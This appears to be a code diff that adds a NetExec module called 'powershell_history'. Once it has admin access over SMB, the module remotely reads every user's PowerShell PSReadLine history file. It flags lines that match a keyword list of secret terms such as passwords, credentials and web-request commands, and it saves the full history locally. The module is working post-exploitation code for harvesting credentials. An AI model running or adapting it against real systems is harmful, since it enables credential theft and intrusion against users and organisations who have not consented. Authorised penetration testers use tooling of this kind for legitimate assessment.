|
| 1 | +import traceback |
| 2 | +from impacket.examples.secretsdump import RemoteOperations |
| 3 | + |
| 4 | +class NXCModule: |
| 5 | + """Module by @357384n""" |
| 6 | + |
| 7 | + name = "powershell_history" |
| 8 | + description = "Extracts PowerShell history for all users and looks for sensitive commands." |
| 9 | + supported_protocols = ["smb"] |
| 10 | + opsec_safe = True |
| 11 | + multiple_hosts = True |
| 12 | + |
| 13 | + def options(self, context, module_options): |
| 14 | + """Define module options.""" |
| 15 | + pass |
| 16 | + |
| 17 | + def execute_command(self, connection, command): |
| 18 | + """Execute a command on the remote system and return the output.""" |
| 19 | + output = connection.execute(command, True) |
| 20 | + return output |
| 21 | + |
| 22 | + def get_powershell_history(self, connection): |
| 23 | + """Get the PowerShell history for all users.""" |
| 24 | + history_paths_command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"' |
| 25 | + try: |
| 26 | + history_output = self.execute_command(connection, history_paths_command) |
| 27 | + return history_output.split('\n') |
| 28 | + except Exception as e: |
| 29 | + raise Exception(f"Could not retrieve PowerShell history: {e}") |
| 30 | + |
| 31 | + def analyze_history(self, history): |
| 32 | + """Analyze PowerShell history for sensitive information.""" |
| 33 | + sensitive_keywords = [ |
| 34 | + "password", "passwd", "secret", "credential", "key", |
| 35 | + "get-credential", "convertto-securestring", "set-localuser", |
| 36 | + "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", |
| 37 | + "invoke-webrequest", "invoke-restmethod" |
| 38 | + ] |
| 39 | + sensitive_commands = [] |
| 40 | + for command in history: |
| 41 | + command_lower = command.lower() |
| 42 | + if any(keyword.lower() in command_lower for keyword in sensitive_keywords): |
| 43 | + sensitive_commands.append(command.strip()) |
| 44 | + return sensitive_commands |
| 45 | + |
| 46 | + def on_admin_login(self, context, connection): |
| 47 | + """Main function to retrieve and analyze PowerShell history.""" |
| 48 | + try: |
| 49 | + context.log.info("Retrieving PowerShell history...") |
| 50 | + history = self.get_powershell_history(connection) |
| 51 | + if history: |
| 52 | + sensitive_commands = self.analyze_history(history) |
| 53 | + if sensitive_commands: |
| 54 | + context.log.highlight("Sensitive commands found in PowerShell history:") |
| 55 | + for command in sensitive_commands: |
| 56 | + context.log.highlight(f" {command}") |
| 57 | + else: |
| 58 | + context.log.info("No sensitive commands found in PowerShell history.") |
| 59 | + else: |
| 60 | + context.log.info("No PowerShell history found.") |
| 61 | + |
| 62 | + # Write history to file in current directory |
| 63 | + with open("powershell_history.txt", "w") as file: |
| 64 | + for cmd in history: |
| 65 | + file.write(cmd + "\n") |
| 66 | + print("History written to powershell_history.txt") |
| 67 | + |
| 68 | + except Exception as e: |
| 69 | + context.log.fail(f"UNEXPECTED ERROR: {e}") |
| 70 | + context.log.debug(traceback.format_exc()) |
0 commit comments